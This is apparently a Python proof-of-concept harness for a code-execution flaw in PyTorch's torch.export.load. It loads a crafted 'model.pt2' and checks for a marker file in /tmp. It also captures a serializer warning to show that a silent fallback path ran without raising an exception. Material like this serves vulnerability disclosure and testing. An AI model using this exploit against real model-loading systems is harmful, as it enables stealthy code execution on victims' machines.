import logging, os, sys, io, traceback # capture the torch warning that proves the fail-open branch ran logbuf = io.StringIO() h = logging.StreamHandler(logbuf); h.setLevel(logging.WARNING) logging.getLogger("torch._export.serde.serialize").addHandler(h) logging.getLogger("torch._export.serde.serialize").setLevel(logging.WARNING) MARKER = "/tmp/PT2_RCE_POC.txt" if os.path.exists(MARKER): os.remove(MARKER) import torch from torch.export import load print("torch", torch.__version__) print("marker present BEFORE load:", os.path.exists(MARKER)) ep = load(os.path.join(os.path.dirname(os.path.abspath(__file__)), "model.pt2")) print("torch.export.load() returned:", type(ep).__name__, "(NO exception -> stealth)") present = os.path.exists(MARKER) print("marker present AFTER load :", present) if present: print("marker contents :", open(MARKER).read()) print("---- torch serialize logger output (proves fallback branch) ----") print(logbuf.getvalue().strip() or "(no warning captured)") sys.exit(0 if present else 2)